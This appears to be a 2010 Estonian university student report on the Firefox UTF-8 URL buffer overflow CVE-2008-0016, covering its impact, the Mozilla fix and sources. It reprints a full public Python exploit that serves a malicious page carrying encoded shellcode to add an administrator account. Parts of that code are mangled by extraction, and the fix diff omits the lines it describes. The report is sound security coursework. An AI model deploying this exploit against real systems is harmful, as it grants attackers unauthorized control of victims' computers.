CVE-2008-0016 Referaat aines Andmeturve - Matemaatika ...
CVE-2008-0016 Referaat aines Andmeturve - Matemaatika ...
CVE-2008-0016 Referaat aines Andmeturve - Matemaatika ...
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
TARTU ÜLIKOOL<br />
MATEMAATIKA-INFORMAATIKATEADUSKOND<br />
Arvutiteaduse instituut<br />
<strong>CVE</strong>-<strong>2008</strong>-<strong>0016</strong><br />
<strong>Referaat</strong> <strong>aines</strong> <strong>Andmeturve</strong><br />
Tartu 2010<br />
Koostaja: Mihhail Klimenko<br />
Juhendaja: Meelis Roos
TABLE OF CONTENTS<br />
Introduction ...................................................................................................................................................................................... 3<br />
Description ........................................................................................................................................................................................ 3<br />
Example.......................................................................................................................................................................................... 4<br />
Solution ............................................................................................................................................................................................... 6<br />
Summary ............................................................................................................................................................................................ 6<br />
Used materials: ................................................................................................................................................................................ 7
INTRODUCTION<br />
Justin Schuh and Tom Cross of the IBM X-Force and Peter Williams of IBM Watson Labs reported<br />
errors in Mozilla URL parsing routines. These errors could be exploited using a specially crafted UTF-8<br />
URL in a hyperlink which could overflow a stack buffer and allow an attacker to execute arbitrary code.<br />
It was marked as <strong>CVE</strong>-<strong>2008</strong>-<strong>0016</strong>.<br />
DESCRIPTION<br />
Stack-based buffer overflow in the URL parsing implementation in Mozilla Firefox before 2.0.0.17 and<br />
SeaMonkey before 1.1.12 allows remote attackers to execute arbitrary code via a crafted UTF-8 URL in<br />
a link. It was titled as “UTF-8 URL stack buffer overflow”. Announced and reported on 23rd September,<br />
<strong>2008</strong>.<br />
The table below provides information about accessibility options by using exploitable error:<br />
Access Vector: Network exploitable<br />
Access Complexity: Low<br />
Authentication: Not required to exploit<br />
Confidentiality impact: Complete<br />
Integrity Impact: Complete<br />
Availability Impact: Complete<br />
Impact Type: Provides administrator access, Allows complete confidentiality, integrity, and<br />
availability violation; Allows unauthorized disclosure of information; Allows disruption of service
EXAMPLE<br />
This example was made by Dominic Chell on 2009-09-14 for milw0rm.com. This code exploits the<br />
UTF-8 URL overflow vulnerability described in <strong>CVE</strong>-<strong>2008</strong>-<strong>0016</strong>. As of September 2009 there are<br />
no public exploits for this vulnerability. However, according to security focus an exploit is available<br />
in both Canvas and Core Impact.<br />
#!/usr/bin/python<br />
# FireFox 2.0.0.16 Windows XP SP3 x86 Remote Exploit<br />
from BaseHTTPServer import HTTPServer<br />
from BaseHTTPServer import BaseHTTPRequestHandler<br />
import sys<br />
# Adduser shellcode encoded with shikata_ga_nai<br />
# USER=r00t PASS=r00tr00t!!<br />
egg = (<br />
"\xda\xd4\x29\xc9\xb8\xb3\xfe\x8b\x54\xd9\x74\x24\xf4\xb1\x32"<br />
"\x5f\x83\xef\xfc\x31\x47\x14\x03\x47\xa7\x1c\x7e\xa8\x2f\xa4"<br />
"\x81\x51\xaf\xae\xc7\x6d\x24\xcc\xc2\xf5\x3b\xc2\x46\x4a\x23"<br />
"\x97\x06\x75\x52\x4c\xf1\xfe\x60\x19\x03\xef\xb9\xdd\x9d\x43"<br />
"\x3d\x1d\xe9\x9c\xfc\x54\x1f\xa2\x3c\x83\xd4\x9f\x94\x70\x11"<br />
"\x95\xf1\xf2\x46\x71\xf8\xef\x1f\xf2\xf6\xa4\x54\x5b\x1a\x3a"<br />
"\x80\xef\x3e\xb7\x57\x1b\xb7\x9b\x73\xdf\x04\x7c\x4d\x29\xea"<br />
"\xd5\xc9\x5e\xac\xe9\x9a\x21\x3c\x81\xed\xbd\x91\x1e\x65\xb6"<br />
"\x60\xd8\xf5\x06\x18\x49\x92\x76\x56\x6d\x3d\x1f\xfe\x90\x4b"<br />
"\xd1\xa9\x93\xab\x8d\x38\x08\x1a\x37\xba\xb5\x42\x98\x59\x16"<br />
"\xed\x83\xe9\x76\x84\x38\x74\x05\x46\xcd\x46\xd9\xf2\x11\xd4"<br />
"\x29\xcb\x25\x6a\x7a\x1b\xb2\xab\x5b\x7b\x15\xea\xdf\x3f\x49"<br />
"\xca\xf9\x9f\xe7\x77\x72\xc0\x9b\x18\x19\x61\x08\x81\xaf\x0e"<br />
"\xa5\x3d\x70\x90\x21\xd0\x19\x7c\xc3\x59\xae\xf2\x72\xe9\x21"<br />
"\x81\x07\x31\xcc\x55\xd8\x45\x10\xb9\x59\xe1\x14\xc5\x53")<br />
# Egghunter where egg is 0x41424142.<br />
# The egghunter is encoded as HTML entities, this evades the unicode conversion.<br />
# Egghunter courtesy of skape. Modified to xor edx,edx as first instruction.<br />
shellcode = (<br />
"툳邐邐䊐橒堂⻍"<br />
"Լ瑚룯䅂䅂懲疯"<br />
"꿪쳌쳌쳌쳌"<br />
"쳌쳌쳌쳌")<br />
# The UTF-8 character in the URL triggers the code path where the overflow occurs.<br />
s = "\xC3\xBA"<br />
u = unicode(s, "utf-8")<br />
utf8chars = u.encode( "utf-8" )<br />
class myRequestHandler(BaseHTTPRequestHandler):<br />
def create_exploit_buffer(self):<br />
html = "\n\n\n"<br />
# Store the egg and adduser shellcode in CDATA<br />
# The egghunter will try and find this in memory<br />
html += "\n"<br />
html += "
html += shellcode # add egghunter<br />
html +="邐" * 10<br />
html += "\" >s"<br />
html += "\n"<br />
html += "\n"<br />
return html<br />
def do_GET(self):<br />
self.printCustomHTTPResponse(200)<br />
if self.path == "/":<br />
target=self.client_address[0]<br />
html = self.create_exploit_buffer()<br />
self.wfile.write(html)<br />
print "[*] Evil payload sent\n[*] Wait a few minutes and try connecting<br />
with r00t/r00tr00t!!\n"<br />
def printCustomHTTPResponse(self, respcode):<br />
self.send_response(respcode)<br />
self.send_header("Content-type", "text/html")<br />
self.send_header("Server", "myRequestHandler")<br />
self.end_headers()<br />
print "FireFox 2.0.0.16 x86 Exploit\nAuthor: dmc@deadbeef.co.uk\n"<br />
print "[*] Starting evil web server"<br />
print "[*] Waiting for clients\n"<br />
httpd = HTTPServer(('', 80), myRequestHandler)<br />
try:<br />
httpd.handle_request()<br />
httpd.serve_forever()<br />
except KeyboardInterrupt:<br />
print "\n\n[*] Interupt caught, exiting.\n\n"<br />
sys.exit(1)
SOLUTION<br />
These three lines in the highlighted background were added to fix the problem in further versions of<br />
Firefox.<br />
Index: netwerk/dns/src/nsIDNService.cpp<br />
===================================================================<br />
RCS file: /cvsroot/mozilla/netwerk/dns/src/nsIDNService.cpp,v<br />
retrieving revision 1.28<br />
diff -u -p -9 -r1.28 nsIDNService.cpp<br />
--- netwerk/dns/src/nsIDNService.cpp 22 Jul 2005 15:07:33 -0000 1.28<br />
+++ netwerk/dns/src/nsIDNService.cpp 18 Aug <strong>2008</strong> 21:27:29 -0000<br />
@@ -145,18 +145,21 @@ nsIDNService::nsIDNService()<br />
nsIDNService::~nsIDNService()<br />
{<br />
idn_nameprep_destroy(mNamePrepHandle);<br />
}<br />
/* ACString ConvertUTF8toACE (in AUTF8String input); */<br />
NS_IMETHODIMP nsIDNService::ConvertUTF8toACE(const nsACString & input,<br />
nsACString & ace)<br />
{<br />
// protect against bogus input<br />
NS_ENSURE_TRUE(IsUTF8(input), NS_ERROR_UNEXPECTED);<br />
nsresult rv;<br />
NS_ConvertUTF8toUCS2 ustr(input);<br />
// map ideographic period to ASCII period etc.<br />
normalizeFullStops(ustr);<br />
PRUint32 len, offset;<br />
len = 0;<br />
This protection checks if the URL link contains any UTF8 code. When it is true then shows an error.<br />
SUMMARY<br />
Today we see that more and more vulnerabilities and exposures are found and fixed. For today the<br />
<strong>CVE</strong>-<strong>2008</strong>-<strong>0016</strong> is fixed by updating the software, but as you know always will be new<br />
vulnerabilities (actually they already exist, but we need to find them) and again we need to fix it!
USED MATERIALS:<br />
http://cve.mitre.org/cgi-bin/cvename.cgi?name=<strong>CVE</strong>-<strong>2008</strong>-<strong>0016</strong><br />
http://www.mozilla.org/security/announce/<strong>2008</strong>/mfsa<strong>2008</strong>-37.html<br />
http://www.milw0rm.com/exploits/9663<br />
https://bugzilla.mozilla.org/show_bug.cgi?id=451617<br />
https://bugzilla.mozilla.org/show_bug.cgi?id=443288<br />
http://www.securityspace.com/smysecure/catid.html?id=<strong>CVE</strong>-<strong>2008</strong>-<strong>0016</strong>&ctype=cve